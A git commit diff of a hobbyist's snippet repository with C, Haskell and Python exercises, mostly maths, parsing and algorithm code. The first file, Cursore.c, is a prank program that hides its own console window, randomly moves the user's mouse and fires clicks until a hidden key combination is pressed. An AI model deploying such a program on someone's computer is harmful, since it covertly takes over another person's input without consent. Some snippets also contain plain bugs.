initial commit
This commit is contained in:
commit
148da2f140
76
c/Cursore.c
Normal file
76
c/Cursore.c
Normal file
@ -0,0 +1,76 @@
|
||||
#include <stdio.h>
|
||||
#define _WIN32_WINNT 0x0403
|
||||
#include <windows.h>
|
||||
|
||||
#define randomize() srand(time(NULL))
|
||||
#define random(x) rand()%x - rand()%x
|
||||
#define PREMUTO -32767 //SHRT_MIN 16 bit
|
||||
|
||||
|
||||
void nascondi();
|
||||
void click();
|
||||
|
||||
int main(){
|
||||
POINT cursore, temp;
|
||||
nascondi();
|
||||
|
||||
//Aspetta 10s
|
||||
Sleep(10*1000);
|
||||
GetCursorPos(&cursore);
|
||||
|
||||
//Aspetta che il cursore si muova
|
||||
while(1){
|
||||
GetCursorPos(&temp);
|
||||
if(temp.x != cursore.x || temp.y != cursore.y)
|
||||
break;
|
||||
Sleep(10);
|
||||
}
|
||||
|
||||
//Controlla il cursore
|
||||
while(1){
|
||||
//Sposta
|
||||
randomize();
|
||||
GetCursorPos(&cursore);
|
||||
SetCursorPos(cursore.x+random(10), cursore.y+random(10));
|
||||
|
||||
//Click
|
||||
if(!random(1000)){
|
||||
click();
|
||||
click();
|
||||
}
|
||||
|
||||
//Ctrl+Alt+E per chiudere
|
||||
if(GetAsyncKeyState(VK_CONTROL) && GetAsyncKeyState(VK_MENU)==PREMUTO && GetAsyncKeyState(69)==PREMUTO)
|
||||
break;
|
||||
Sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Nasconde la finestra dell'applicazione
|
||||
*/
|
||||
void nascondi(){
|
||||
HWND nascosta;
|
||||
AllocConsole();
|
||||
nascosta = FindWindowA("ConsoleWindowClass", NULL);
|
||||
ShowWindow(nascosta, 0);
|
||||
}
|
||||
|
||||
/*
|
||||
* Simula la pressione e il rilascio del tasto sinisto
|
||||
*/
|
||||
void click(){
|
||||
INPUT input = {0};
|
||||
size_t dimensione = sizeof(INPUT);
|
||||
|
||||
//Pressione
|
||||
input.type = INPUT_MOUSE;
|
||||
input.mi.dwFlags = MOUSEEVENTF_LEFTDOWN;
|
||||
SendInput(1, &input, dimensione);
|
||||
|
||||
//Rilascio
|
||||
ZeroMemory(&input, dimensione);
|
||||
input.type = INPUT_MOUSE;
|
||||
input.mi.dwFlags = MOUSEEVENTF_LEFTUP;
|
||||
SendInput(1, &input, dimensione);
|
||||
}
|
220
c/List.c
Normal file
220
c/List.c
Normal file
@ -0,0 +1,220 @@
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <math.h>
|
||||
|
||||
# define T double
|
||||
# define Nil NULL
|
||||
|
||||
#define NARGS_SEQ(_1,_2,_3,_4,_5,_6,_7,_8,N,...) N
|
||||
#define NARGS(...) NARGS_SEQ(__VA_ARGS__, 8, 7, 6, 5, 4, 3, 2, 1)
|
||||
|
||||
#define list(...) fromArray((T []){__VA_ARGS__}, NARGS(__VA_ARGS__))
|
||||
#define lambda(expr, type, args...) ({ type __fn__ (args){ return expr; }__fn__; })
|
||||
|
||||
// List datatype
|
||||
typedef struct listT {
|
||||
T head;
|
||||
struct listT* tail;
|
||||
}* list;
|
||||
|
||||
|
||||
// String type alias
|
||||
typedef char* string;
|
||||
|
||||
|
||||
// Prototypes
|
||||
list pure(T x);
|
||||
list cons(T x, list xs);
|
||||
list snoc(T x, list xs);
|
||||
|
||||
list take(int k, list xs);
|
||||
list drop(int k, list xs);
|
||||
|
||||
T index_(list xs, int k);
|
||||
T head(list xs);
|
||||
T last(list xs);
|
||||
|
||||
list head_(list xs);
|
||||
list last_(list xs);
|
||||
list tail(list xs);
|
||||
list init(list xs);
|
||||
|
||||
int length(list xs);
|
||||
|
||||
list map(T (*f)(T), list xs);
|
||||
|
||||
string show(list xs);
|
||||
string show_(list xs);
|
||||
|
||||
void putStrLn(string s);
|
||||
void putStr(string s);
|
||||
void print(list xs);
|
||||
|
||||
list fromArray (T* xs, int n);
|
||||
T* toArray(list xs);
|
||||
|
||||
|
||||
// Create singleton list
|
||||
list pure(T x) {
|
||||
list p = malloc(sizeof (struct listT));
|
||||
p->head = x;
|
||||
p->tail = Nil;
|
||||
return p;
|
||||
}
|
||||
|
||||
|
||||
// Append an element before the list xs
|
||||
list cons(T x, list xs) {
|
||||
list p = malloc(sizeof (struct listT));
|
||||
p->head = x;
|
||||
p->tail = xs;
|
||||
return p;
|
||||
}
|
||||
|
||||
|
||||
// Reverse of "cons": append after the list
|
||||
list snoc(T x, list xs) {
|
||||
list ys = last_(xs);
|
||||
ys->tail = pure(x);
|
||||
return xs;
|
||||
}
|
||||
|
||||
|
||||
// Take the first k elements of xs
|
||||
list take(int k, list xs) {
|
||||
if (k == 0)
|
||||
return xs;
|
||||
return cons(xs->head, take(k-1, xs->tail));
|
||||
}
|
||||
|
||||
|
||||
// Remove the first k elements of xs
|
||||
list drop(int k, list xs) {
|
||||
if (k == 0)
|
||||
return xs;
|
||||
return drop(k-1, xs->tail);
|
||||
}
|
||||
|
||||
|
||||
// Return the k-th element of the list xs
|
||||
T index_(list xs, int k) {
|
||||
if (k == 0)
|
||||
return xs->head;
|
||||
return drop(k-1, xs->tail)->head;
|
||||
}
|
||||
|
||||
|
||||
// Return the first element (head) of xs
|
||||
T head(list xs) {
|
||||
return xs->head;
|
||||
}
|
||||
|
||||
|
||||
// Return last element of the list
|
||||
T last(list xs) {
|
||||
return last_(xs)->head;
|
||||
}
|
||||
|
||||
list last_(list xs) {
|
||||
if (xs->tail == Nil)
|
||||
return xs;
|
||||
return last_(xs->tail);
|
||||
}
|
||||
|
||||
|
||||
// Return every element of xs but the last one
|
||||
list init(list xs) {
|
||||
if (xs->tail->tail == Nil)
|
||||
return xs;
|
||||
return init(xs->tail);
|
||||
}
|
||||
|
||||
|
||||
// Return xs "tail": everything after its first element
|
||||
list tail(list xs) {
|
||||
return xs->tail;
|
||||
}
|
||||
|
||||
|
||||
// Compute the length of a list
|
||||
int length(list xs) {
|
||||
if (xs->tail == Nil)
|
||||
return 1;
|
||||
return 1 + length(xs->tail);
|
||||
}
|
||||
|
||||
|
||||
// Apply the function f on every element of xs
|
||||
list map(T (*f)(T), list xs) {
|
||||
if (xs->tail == Nil)
|
||||
return pure((*f)(xs->head));
|
||||
return cons((*f)(xs->head), map(f, xs->tail));
|
||||
}
|
||||
|
||||
|
||||
// Convert a C array (given its size) into a list
|
||||
list fromArray (T* xs, int n) {
|
||||
if (n == 1)
|
||||
return pure(*xs);
|
||||
return cons(*xs, fromArray(xs+1, n-1));
|
||||
}
|
||||
|
||||
|
||||
// Convert a list into a standard C array
|
||||
T* toArray(list xs) {
|
||||
int n = length(xs);
|
||||
T x, *p = malloc(n * sizeof(T));
|
||||
|
||||
for (int i=0; i<n; i++) {
|
||||
x = head(xs);
|
||||
xs = tail(xs);
|
||||
*(p+i) = x;
|
||||
}
|
||||
|
||||
return p;
|
||||
}
|
||||
|
||||
|
||||
// Create a string representation of a list
|
||||
string show(list xs) {
|
||||
string rep = malloc(2 + 2*length(xs) * sizeof(T));
|
||||
sprintf(rep, "[%s]", show_(xs));
|
||||
return rep;
|
||||
}
|
||||
|
||||
string show_(list xs) {
|
||||
string rep = malloc(2*length(xs) * sizeof(T));
|
||||
sprintf(rep, "%f", xs->head);
|
||||
|
||||
if (xs->tail == Nil)
|
||||
return rep;
|
||||
|
||||
strcat(rep, ",");
|
||||
return strcat(rep, show_(xs->tail));
|
||||
}
|
||||
|
||||
|
||||
// Print a string to stdout
|
||||
void putStrLn(string s) {
|
||||
printf("%s\n", s);
|
||||
}
|
||||
|
||||
|
||||
// Same as putStrLn without a terminating newline
|
||||
void putStr(string s) {
|
||||
printf("%s", s);
|
||||
}
|
||||
|
||||
|
||||
// Print a list to stdout
|
||||
void print(list xs) {
|
||||
putStrLn(show(xs));
|
||||
}
|
||||
|
||||
|
||||
int main() {
|
||||
list x = list(1, 2, 3, 4);
|
||||
float (*f)(float) = lambda(sin(2*x)/x, float, float x);
|
||||
print(map(f, x));
|
||||
}
|
25
haskell/Dice.hs
Executable file
25
haskell/Dice.hs
Executable file
@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env nix-script
|
||||
#!>haskell
|
||||
|
||||
{- Mathematical way to convert a diceware number. -}
|
||||
|
||||
import Data.List (elemIndex)
|
||||
|
||||
-- | Convert a decimal numeral n into k-adic base system.
|
||||
--
|
||||
-- \boldsymbol{A}_k(n) = \sum_{j=0}^{m-1} 10^j \ [1 + \delta_j \mod k]
|
||||
-- where m = \bigl \lfloor \log_k [n(k-1)+1] \bigr \rfloor
|
||||
-- \delta_j = \left \lfloor\frac{n(k-1)+1-k^m}{k^j(k-1)} \right \rfloor
|
||||
a :: Int -> Int -> Int
|
||||
a k n = sum [(1 + (d j) `mod` k) * 10^j | j <- [0..m-1]]
|
||||
where
|
||||
m = floor $ logBase k' (n'*(k'-1) + 1)
|
||||
d j = (n*(k-1) + 1 - k^m) `div` ((k-1) * k^j)
|
||||
(k', n') = (fromIntegral k, fromIntegral n)
|
||||
|
||||
interact' :: (String -> String) -> IO ()
|
||||
interact' f = interact (unlines . map f . lines)
|
||||
|
||||
main :: IO ()
|
||||
main = interact' (show . d . read) where
|
||||
d = flip elemIndex $ map (a 6 . (+1555)) [0..7775]
|
105
haskell/Eq.hs
Executable file
105
haskell/Eq.hs
Executable file
@ -0,0 +1,105 @@
|
||||
#!/usr/bin/env nix-script
|
||||
#!>haskell
|
||||
#! haskell | attoparsec hmatrix
|
||||
|
||||
{- Balance chemical reactions using linear algebra. -}
|
||||
|
||||
{-# LANGUAGE OverloadedStrings #-}
|
||||
|
||||
import Control.Applicative (many, (<|>))
|
||||
import Data.Function (on)
|
||||
import Data.Maybe (fromMaybe)
|
||||
import Data.List (groupBy, sort, nub)
|
||||
import Data.Text (pack)
|
||||
import Data.Attoparsec.Text
|
||||
import Numeric.LinearAlgebra (Field, ident, inv, rank)
|
||||
import Numeric.LinearAlgebra.Data
|
||||
|
||||
type Atom = String
|
||||
type Element = (Atom, Z)
|
||||
type Compound = [Element]
|
||||
type Reaction = ([Compound], [Compound])
|
||||
|
||||
|
||||
-- Parsers --
|
||||
|
||||
element :: Parser Element
|
||||
element = do
|
||||
atom <- ((++) <$> upper <*> lower) <|> upper
|
||||
quantity <- option 1 decimal
|
||||
return (atom, quantity)
|
||||
where upper = charRange "A-Z"
|
||||
lower = charRange "a-z"
|
||||
|
||||
compound :: Parser Compound
|
||||
compound = reduce <$> many element
|
||||
|
||||
hand :: Parser [Compound]
|
||||
hand = compound `sepBy` spaced "+"
|
||||
|
||||
reaction :: Parser Reaction
|
||||
reaction = (,) <$> (hand <* spaced "->") <*> hand
|
||||
|
||||
|
||||
-- parser helpers --
|
||||
|
||||
-- | Parse while ignoring enclosing whitespace
|
||||
spaced :: Parser a -> Parser ()
|
||||
spaced p = skipSpace >> p >> skipSpace
|
||||
|
||||
-- | Create a parser from a characters range
|
||||
charRange :: String -> Parser String
|
||||
charRange = fmap pure . satisfy . inClass
|
||||
|
||||
|
||||
-- stochiometrycal matrix --
|
||||
|
||||
-- | Reduce a 'Compound' to his empirical formula
|
||||
reduce :: Compound -> Compound
|
||||
reduce = map count . groupBy ((==) `on` fst) . sort
|
||||
where count ((s,n):xs) = (,) s (n + sum (map snd xs))
|
||||
|
||||
-- | Find a vector basis for the reaction
|
||||
basisFor :: Reaction -> [Atom]
|
||||
basisFor = nub . map fst . concat . fst
|
||||
|
||||
-- | Calculate the coordinats vector
|
||||
coords :: [Atom] -> Compound -> Vector Z
|
||||
coords basis v = fromList (map (flip count v) basis)
|
||||
where count e = fromMaybe 0 . lookup e
|
||||
|
||||
-- | Calculate stochoimetrical matrix
|
||||
stoch :: Reaction -> Matrix Z
|
||||
stoch r@(x, y) = fromColumns (a ++ b)
|
||||
where col = coords (basisFor r)
|
||||
a = map col x
|
||||
b = map (negate . col) y
|
||||
|
||||
|
||||
-- linear algebra --
|
||||
|
||||
-- | Find a base of Ker A
|
||||
kernel :: Matrix Z -> Vector Z
|
||||
kernel a = cmap (round . min) t
|
||||
where a' = extend (fromZ a) :: Matrix R
|
||||
t = toColumns (inv a') !! (cols a'-1)
|
||||
min = (/ minimum (toList t))
|
||||
|
||||
-- | Extend a Matrix to a square
|
||||
extend :: Field k => Matrix k -> Matrix k
|
||||
extend a
|
||||
| m == n = a
|
||||
| otherwise = a === fromRows padd
|
||||
where (m,n) = size a
|
||||
id = ident n
|
||||
padd = map (toColumns id !!) [rank a-1..m-1]
|
||||
|
||||
|
||||
main :: IO ()
|
||||
main = do
|
||||
input <- pack <$> prompt
|
||||
case parseOnly reaction input of
|
||||
Right react -> print (kernel $ stoch react)
|
||||
Left err -> putStrLn ("Failed to parse: " ++ err)
|
||||
main
|
||||
where prompt = putStr "eq> " >> getLine
|
21
haskell/Freqs.hs
Executable file
21
haskell/Freqs.hs
Executable file
@ -0,0 +1,21 @@
|
||||
#!/usr/bin/env nix-script
|
||||
#!>haskell
|
||||
|
||||
{- Calculate words frequency. Use in a pipe. -}
|
||||
|
||||
import Data.List
|
||||
import Data.Ord (comparing)
|
||||
import Data.Map (toList, fromListWith)
|
||||
|
||||
freqs = sort' . toList . fromListWith (+) . map t
|
||||
where
|
||||
t x = (x, 1)
|
||||
sort' = reverse . sortBy (comparing snd)
|
||||
|
||||
pretty = intercalate "\n" . map line
|
||||
where line (x, y) = x ++ ": " ++ show y
|
||||
|
||||
best = filter ((>50) . snd)
|
||||
|
||||
main = interact (pretty . freqs . words)
|
||||
|
56
haskell/Gauss.hs
Executable file
56
haskell/Gauss.hs
Executable file
@ -0,0 +1,56 @@
|
||||
#!/usr/bin/env nix-script
|
||||
#!>haskell
|
||||
#! haskell | vector
|
||||
|
||||
{- Solve a linear system by Gauss elimination. -}
|
||||
|
||||
import Data.Vector (Vector, cons, snoc, empty)
|
||||
import qualified Data.Vector as V
|
||||
|
||||
type Matrix a = Vector (Vector a)
|
||||
|
||||
decons :: Vector a -> (a, Vector a)
|
||||
decons x = (V.head x, V.tail x)
|
||||
|
||||
asList :: ([a] -> [b]) -> (Vector a -> Vector b)
|
||||
asList f = V.fromList . f . V.toList
|
||||
|
||||
fromLists :: [[a]] -> Matrix a
|
||||
fromLists = V.fromList . map V.fromList
|
||||
|
||||
|
||||
gauss :: (Eq a, Fractional a) => Matrix a -> Vector a -> Vector a
|
||||
gauss a b = x
|
||||
where b' = fmap pure b
|
||||
a' = V.zipWith (V.++) a b'
|
||||
x = resubstitute (triangular a')
|
||||
|
||||
|
||||
triangular :: (Eq a, Fractional a) => Matrix a -> Matrix a
|
||||
triangular m
|
||||
| null m = empty
|
||||
| otherwise = cons r (triangular rs')
|
||||
where (r, rs) = decons (rotatePivot m)
|
||||
rs' = fmap f rs
|
||||
f bs
|
||||
| (V.head bs) == 0 = V.drop 1 bs
|
||||
| otherwise = V.drop 1 $ V.zipWith (-) (fmap (*c) bs) r
|
||||
where c = (V.head r)/(V.head bs)
|
||||
|
||||
|
||||
rotatePivot :: (Eq a, Fractional a) => Matrix a -> Matrix a
|
||||
rotatePivot m
|
||||
| (V.head r) /= 0 = m
|
||||
| otherwise = rotatePivot (snoc rs r)
|
||||
where (r,rs) = decons m
|
||||
|
||||
|
||||
resubstitute :: (Num a, Fractional a) => Matrix a -> Vector a
|
||||
resubstitute = V.reverse . f . V.reverse . fmap V.reverse
|
||||
where f m
|
||||
| null m = empty
|
||||
| otherwise = cons x (f rs')
|
||||
where (r,rs) = decons m
|
||||
x = (V.head r)/(V.last r)
|
||||
rs' = fmap (asList subUnknown) rs
|
||||
subUnknown (a1:(a2:as')) = ((a1-x*a2):as')
|
58
haskell/Miller-Rabin.hs
Executable file
58
haskell/Miller-Rabin.hs
Executable file
@ -0,0 +1,58 @@
|
||||
#!/usr/bin/env nix-script
|
||||
#!>haskell
|
||||
#! haskell | mtl random
|
||||
|
||||
import Control.Monad (replicateM)
|
||||
import Control.Monad.State (State, state, evalState)
|
||||
import System.Random (Random, StdGen, newStdGen, randomR)
|
||||
import Data.List (genericLength)
|
||||
|
||||
|
||||
-- Modular integral exponentiation
|
||||
(^%) :: Integral a => a -> a -> a -> a
|
||||
(^%) m b k = ex b k 1 where
|
||||
ex a k s
|
||||
| k == 0 = s
|
||||
| k `mod` 2 == 0 = ex (a * a `mod` m) (k `div` 2) s
|
||||
| otherwise = ex (a * a `mod` m) (k `div` 2) (s * a `mod` m)
|
||||
|
||||
|
||||
-- Deconstruct an integral n into two
|
||||
-- numbers d, r such as d*2^r = n
|
||||
decons :: Integral a => a -> (a, a)
|
||||
decons n = (exp quots, rest quots)
|
||||
where
|
||||
rest = head . dropWhile even
|
||||
exp = genericLength . takeWhile even
|
||||
quots = iterate (`quot` 2) n
|
||||
|
||||
|
||||
-- Test a number given a witness
|
||||
test :: Integer -> Integer -> Bool
|
||||
test n a
|
||||
| n < 2 || even n = False
|
||||
| b0 == 1 || b0 == pred n = True
|
||||
| otherwise = iter (tail b)
|
||||
where
|
||||
(r, d) = decons (pred n)
|
||||
b0 = (n ^% a) d
|
||||
b = take (fromIntegral r) (iterate (n ^% 2) b0)
|
||||
iter [] = False
|
||||
iter (x:xs)
|
||||
| x == 1 = False
|
||||
| x == pred n = True
|
||||
| otherwise = iter xs
|
||||
|
||||
|
||||
-- Check whether n is probably a prime number
|
||||
-- with un uncertainty of 2^-k
|
||||
isPrime :: Integer -> Int -> State StdGen Bool
|
||||
isPrime n k = all (test n) <$> replicateM k a
|
||||
where a = state (randomR (2, pred n))
|
||||
|
||||
|
||||
main :: IO ()
|
||||
main = do
|
||||
gen <- newStdGen
|
||||
let test n = evalState (isPrime n 64) gen
|
||||
print (test 9917340299)
|
43
haskell/exs/MU.hs
Executable file
43
haskell/exs/MU.hs
Executable file
@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env nix-script
|
||||
#!>haskell
|
||||
#! haskell | regex-compat random
|
||||
|
||||
{- GEB exercise -}
|
||||
|
||||
import Text.Regex
|
||||
import Text.Printf
|
||||
import System.Random
|
||||
|
||||
type Theorem = String
|
||||
type Rule = String
|
||||
|
||||
choice :: [a] -> IO a
|
||||
choice xs = (xs !!) <$> randomRIO (0, length xs - 1)
|
||||
|
||||
step :: (Rule, Theorem) -> String
|
||||
step = uncurry $ printf " -%s-> %s"
|
||||
|
||||
derive :: Theorem -> IO [(Rule, Theorem)]
|
||||
derive "M" = return []
|
||||
derive "MU" = return []
|
||||
derive t = do
|
||||
(rule, name) <- choice rules
|
||||
let next = rule t
|
||||
if rule t /= t
|
||||
then ((name, next) :) <$> derive next
|
||||
else derive t
|
||||
|
||||
axiom = "MI"
|
||||
|
||||
transforms =
|
||||
[ ("I$", "IU")
|
||||
, ("M(.?)", "M\\1\\1")
|
||||
, ("III", "U")
|
||||
, ("UU", "") ]
|
||||
|
||||
rules = zip (map make transforms) ["I", "II", "III", "IV"] where
|
||||
make (a, b) = flip (subRegex $ mkRegex a) b
|
||||
|
||||
main = do
|
||||
proof <- concatMap step <$> derive axiom
|
||||
putStrLn $ axiom ++ proof
|
45
haskell/exs/Move.hs
Executable file
45
haskell/exs/Move.hs
Executable file
@ -0,0 +1,45 @@
|
||||
#!/usr/bin/env nix-script
|
||||
#!>haskell
|
||||
|
||||
{- Learn you a Haskell exercise -}
|
||||
|
||||
import Control.Monad
|
||||
import Data.List
|
||||
import Data.Function
|
||||
|
||||
type Pos = (Int, Int)
|
||||
|
||||
chessboard = liftM2 (,) [1..8] [1..8]
|
||||
|
||||
-- | Compose a monadic function with itself n times
|
||||
compose :: Monad m => (a -> m a) -> Int -> a -> m a
|
||||
compose n = foldr (<=<) return . flip replicate n
|
||||
|
||||
-- | Calculate every possible next move
|
||||
moves :: Pos -> [Pos]
|
||||
moves (x, y) = filter (`elem` chessboard)
|
||||
[ (x+2, y-1), (x+2, y+1)
|
||||
, (x-2, y-1), (x-2, y+1)
|
||||
, (x+1, y-2), (x+1, y+2)
|
||||
, (x-1, y-2), (x-1, y+2) ]
|
||||
|
||||
-- | Positions the knight can reach in `n` moves
|
||||
reachIn :: Int -> Pos -> [Pos]
|
||||
reachIn = compose moves
|
||||
|
||||
-- | Test for a path between `start` and `end` in `n` moves
|
||||
canReachIn :: Int -> Pos -> Pos -> Bool
|
||||
canReachIn n start end = end `elem` reachIn n start
|
||||
|
||||
-- | Pretty print for the chessboard
|
||||
pprint = putStrLn . show' . groupBy (on (==) fst) where
|
||||
show' = concatMap $ (++"\n") . intercalate " " . map show
|
||||
|
||||
main = do
|
||||
let
|
||||
reached = nub $ reachIn 1 (1,2)
|
||||
unreached = chessboard \\ reached
|
||||
print (length reached)
|
||||
pprint (sort reached)
|
||||
print (length unreached)
|
||||
pprint (sort unreached)
|
66
haskell/exs/Prob.hs
Executable file
66
haskell/exs/Prob.hs
Executable file
@ -0,0 +1,66 @@
|
||||
#!/usr/bin/env nix-script
|
||||
#!>haskell
|
||||
|
||||
{- Learn you a Haskell exercise -}
|
||||
|
||||
module Data.Probability
|
||||
( Event, Prob
|
||||
, flatten
|
||||
, onProb
|
||||
, sumCheck
|
||||
, probs
|
||||
, group
|
||||
) where
|
||||
|
||||
import Data.Ratio
|
||||
import Data.Function (on)
|
||||
import Data.List (groupBy)
|
||||
import Control.Monad (ap)
|
||||
import Control.Applicative
|
||||
|
||||
|
||||
type Event a = (Rational, a)
|
||||
newtype Prob a = Prob { getProb :: [Event a] }
|
||||
|
||||
|
||||
instance Show a => Show (Prob a) where
|
||||
show (Prob xs) = show xs
|
||||
|
||||
instance Functor Prob where
|
||||
fmap f (Prob xs) = Prob $ map (fmap f) xs
|
||||
|
||||
instance Applicative Prob where
|
||||
pure = return
|
||||
(<*>) = ap
|
||||
|
||||
instance Monad Prob where
|
||||
return x = Prob [(1, x)]
|
||||
m >>= f = flatten $ f <$> m
|
||||
fail _ = Prob []
|
||||
|
||||
|
||||
-- Flatten nested probabilities by one level
|
||||
flatten :: Prob (Prob a) -> Prob a
|
||||
flatten = onProb $ concat . map (uncurry multBy)
|
||||
where multBy p = map (\(r,x) -> (p*r,x)) . getProb
|
||||
|
||||
|
||||
-- Raise a function to work on the Prob newtype
|
||||
onProb :: ([Event a] -> [Event b]) -> (Prob a -> Prob b)
|
||||
onProb f = Prob . f . getProb
|
||||
|
||||
|
||||
-- Get the probabily of every event
|
||||
probs :: Prob a -> [Rational]
|
||||
probs = map fst . getProb
|
||||
|
||||
|
||||
-- Check whether the 1-norm of the probability is 1
|
||||
sumCheck :: Prob a -> Bool
|
||||
sumCheck x = sum (probs x) == 1
|
||||
|
||||
|
||||
-- Group events with the same outcome
|
||||
group :: Eq a => Prob a -> Prob a
|
||||
group = onProb $ map head . groupBy ((==) `on` snd)
|
||||
|
22
haskell/exs/Sort.hs
Normal file
22
haskell/exs/Sort.hs
Normal file
@ -0,0 +1,22 @@
|
||||
msort :: Ord a => [a] -> [a]
|
||||
msort [] = []
|
||||
msort [x] = [x]
|
||||
msort x = merge (msort a) (msort b)
|
||||
where (a,b) = splitAt (length x `div` 2) x
|
||||
|
||||
|
||||
merge :: Ord a => [a] -> [a] -> [a]
|
||||
merge x [] = x
|
||||
merge [] y = y
|
||||
merge (x:xs) (y:ys)
|
||||
| x <= y = x : merge xs (y:ys)
|
||||
| otherwise = y : merge ys (x:xs)
|
||||
|
||||
|
||||
gcd' :: Int -> Int -> Int
|
||||
gcd' 1 m = 1
|
||||
gcd' n 1 = 1
|
||||
gcd' n m
|
||||
| n == m = n
|
||||
| n > m = gcd' m (n-m)
|
||||
| otherwise = gcd' n (m-n)
|
33
python/array.py
Executable file
33
python/array.py
Executable file
@ -0,0 +1,33 @@
|
||||
#!/usr/bin/env nix-script
|
||||
#!>python
|
||||
#! python | pillow
|
||||
|
||||
## Fun with PIL during boring lesson. Generate DNA microarray-like images.
|
||||
|
||||
from PIL import Image
|
||||
from threading import Thread
|
||||
import math
|
||||
import random
|
||||
|
||||
def color():
|
||||
a = (random.randint(0, 255), random.randint(0, 255), 0)
|
||||
b = (0, 0, 0)
|
||||
return random.choice((a, b))
|
||||
|
||||
def draw(image, x, y, c, d, color):
|
||||
for i in range(d):
|
||||
for k in range(d):
|
||||
if abs(complex(x+i, y+k) - complex(c[0], c[1])) <= d/3:
|
||||
image.putpixel((x + i, y + k), color)
|
||||
|
||||
def main():
|
||||
d = 16
|
||||
img = Image.new('RGB', (2528, 2528), '#000')
|
||||
|
||||
for i in range(0, img.size[0], d):
|
||||
for k in range(0, img.size[1], d):
|
||||
Thread(draw(img, i, k, (i + d/2, k + d/2), d, color())).start()
|
||||
img.show()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
3
python/base.py
Normal file
3
python/base.py
Normal file
@ -0,0 +1,3 @@
|
||||
## Base conversion codegolf
|
||||
|
||||
r,b=range,lambda n,k:n==0and'0'or b(n//k,k).lstrip('0')+map(chr,r(48,58)+r(65,91))[n%k]
|
108
python/bohr.py
Executable file
108
python/bohr.py
Executable file
@ -0,0 +1,108 @@
|
||||
#!/usr/bin/env nix-script
|
||||
#!>python3
|
||||
#! python3 | sympy
|
||||
|
||||
from sympy.physics.units import *
|
||||
from sympy import symbols, solve, Eq, pi
|
||||
|
||||
##
|
||||
## Bohr model for the hydrogen atom
|
||||
##
|
||||
|
||||
# Constants
|
||||
ε_0, e, m_e, h, c, π = symbols('ε_0 e m_e h c π')
|
||||
|
||||
values = {
|
||||
e : 1.602176565e-19 * C,
|
||||
m_e: 9.10938291e-31 * kg,
|
||||
h : planck,
|
||||
ε_0: electric_constant,
|
||||
c : speed_of_light,
|
||||
π : pi }
|
||||
|
||||
# Variables
|
||||
v, r, λ, ν, n = symbols('v r λ v n')
|
||||
|
||||
|
||||
##
|
||||
## Electron velocity
|
||||
##
|
||||
|
||||
# Coulomb force is a centripetal force
|
||||
F_c = m_e * v**2/r
|
||||
F = 1/(4*π*ε_0) * e**2 / r**2
|
||||
|
||||
# Equate and solve for the velocity (taking the positive solution)
|
||||
v = solve(Eq(F_c, F), v)[1]
|
||||
|
||||
|
||||
##
|
||||
## Energy levels
|
||||
##
|
||||
|
||||
# Total energy of the electron
|
||||
U = -e**2 / (4*π * ε_0 * r)
|
||||
K = m_e * v**2 / 2
|
||||
E = U + K
|
||||
|
||||
# De Broglie wavelength of the electron
|
||||
λ = h / (m_e*v)
|
||||
|
||||
# Hypothesize the orbits are quantized
|
||||
C_o = 2*π * r
|
||||
C_q = n * λ
|
||||
|
||||
# Solve for the radius
|
||||
r_n = solve(Eq(C_o, C_q), r)[0]
|
||||
|
||||
# Bohr radius is the radius of the first orbit
|
||||
r_1 = r_n.subs(n, 1)
|
||||
|
||||
# Substitute r_n in the energy equation
|
||||
E_n = E.subs(r, r_n)
|
||||
|
||||
# The ground state is lowest energy level
|
||||
E_1 = E_n.subs(n, 1)
|
||||
|
||||
|
||||
##
|
||||
## Spectum of emission
|
||||
##
|
||||
|
||||
# Energy of the emitted photon from Planck–Einstein relation
|
||||
λ = symbols('λ')
|
||||
ν = c/λ
|
||||
E_γ = h*ν
|
||||
|
||||
# Energy radiated by the electron
|
||||
# for n > m
|
||||
E_n # initial state
|
||||
E_m = E_n.subs(n, m) # final state
|
||||
E = E_n - E_m
|
||||
|
||||
# Equate and solve for λ
|
||||
λ = solve(Eq(E_γ, E), λ)[0]
|
||||
|
||||
# Find the inverse wavelength
|
||||
λ_1 = 1/λ
|
||||
|
||||
# Substitute the Rydberg constant
|
||||
R_h = e**4 * m_e / (8 * c * ε_0**2 * h**3)
|
||||
λ_1 = λ_1.subs(R_h, symbols('R_h'))
|
||||
|
||||
|
||||
value = lambda x: x.subs(values).evalf(10)
|
||||
results = '''
|
||||
Bohr radius: {r_1} ≈ {vr_1}
|
||||
Ground state / Rydberg energy: {E_1} ≈ {vE_1}
|
||||
Rydberg constant: {R_h} ≈ {vR_h}
|
||||
|
||||
Energy of the nth level: E_n = {E_n}
|
||||
Rydberg equation: 1/λ = {λ_1}
|
||||
''' .format(vr_1=value(r_1),
|
||||
vE_1=value(E_1),
|
||||
vR_h=value(R_h),
|
||||
**locals()
|
||||
).replace('**','^').replace('*', ' ')
|
||||
|
||||
print(results)
|
28
python/clap.py
Executable file
28
python/clap.py
Executable file
@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env nix-script
|
||||
#!>python
|
||||
#! python | pyaudio
|
||||
|
||||
## Listen to claps from the microphone.
|
||||
|
||||
import pyaudio, audioop
|
||||
|
||||
settings = {
|
||||
"format": pyaudio.paInt16,
|
||||
"channels": 2,
|
||||
"rate": 44100,
|
||||
"input": True,
|
||||
"frames_per_buffer": 1024
|
||||
}
|
||||
audio = pyaudio.PyAudio()
|
||||
stream = audio.open(**impostazioni)
|
||||
chunk = int(impostazioni["rate"] * 0.025)
|
||||
|
||||
while True:
|
||||
noisy = 0
|
||||
for i in range(10):
|
||||
block = stream.read(chunk)
|
||||
if audioop.rms(block, 2) > 100:
|
||||
noisy += 1
|
||||
if 3 <= noisy < 8:
|
||||
print("clap")
|
||||
|
15
python/ctypes.py
Executable file
15
python/ctypes.py
Executable file
@ -0,0 +1,15 @@
|
||||
#!/usr/bin/env nix-script
|
||||
#!>python3
|
||||
|
||||
## Messing with literals
|
||||
|
||||
import ctypes
|
||||
|
||||
class A(ctypes.Structure):
|
||||
_fields_ = [('ob_refcnt', ctypes.c_int64),
|
||||
('ob_type', ctypes.POINTER(None)),
|
||||
('ob_ival', ctypes.c_int64)]
|
||||
|
||||
A.from_address(id(2)).ob_ival = 0
|
||||
|
||||
print(2 == 0)
|
13
python/defaultobj.py
Normal file
13
python/defaultobj.py
Normal file
@ -0,0 +1,13 @@
|
||||
## Defaultdict magic
|
||||
|
||||
from collections import defaultdict
|
||||
